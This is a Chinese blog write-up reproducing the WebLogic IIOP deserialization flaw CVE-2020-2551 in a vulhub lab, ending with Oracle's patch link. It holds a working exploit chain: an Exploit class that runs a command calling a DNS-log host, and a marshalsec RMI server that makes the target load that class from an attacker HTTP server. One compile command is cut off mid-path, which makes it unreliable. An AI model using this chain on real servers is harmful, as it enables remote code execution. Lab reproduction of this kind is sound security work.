1.漏洞描述:
2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。
Weblogic是一个服务器,可以做web服务器也可以做应用服务器
WebLogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。
2.靶机环境搭建
- 这里搭建Weblogic 10.3.6.0.0的环境,直接使用vulhub中的CVE-2017-10271就可以
- 进入到目录,执行docker-compose up -d
安装所需的jar所需jar包: https://drive.google.com/file/d/1ssc_8kkjLnzVMTO7G2aswIMLxSLD1Ali/view?usp=sharing
#编译 /Library/Java/JavaVirtualMachines/jdk1.7.0_79.jdk/Contents/Home/bin/javac -cp /Users/caiqiqi/.m2/repository/org/springframework/spring-tx/4.3.16.RELEASE/spring-tx-4.3.16.RELEASE.jar:/Users/caiqiqi/Downloads/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar:. com/cqq/WeblogicCVE_2020_2551.java #执行 /Library/Java/JavaVirtualMachines/jdk1.7.0_79.jdk/Contents/Home/bin/java -cp /Users
3 复现漏洞
开启监听服务
python3 -m http.server 80
下放Exploit.java编译后的Exploit.class文件
public class Exploit{ public Exploit(){ try{ java.lang.Runtime.getRuntime().exec("ping weblogic.f9daa4b2c9be9ad66693.d.zhack.ca"); } catch(java.io.IOException e){ e.printStackTrace(); } } }
然后使用marshalsec创建一个RMI服务:
java -cp /Users/caiqiqi/GitProjects/marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.170.1/#Exploit" 1099
编译成功
4.漏洞修复
漏洞修复
安装官方补丁更新: https://www.oracle.com/security-alerts/cpujan2020.html
标签:2551,JtaTransactionManager,Java,jar,漏洞,Exploit,java,序列化 From: https://blog.51cto.com/u_15854462/7079522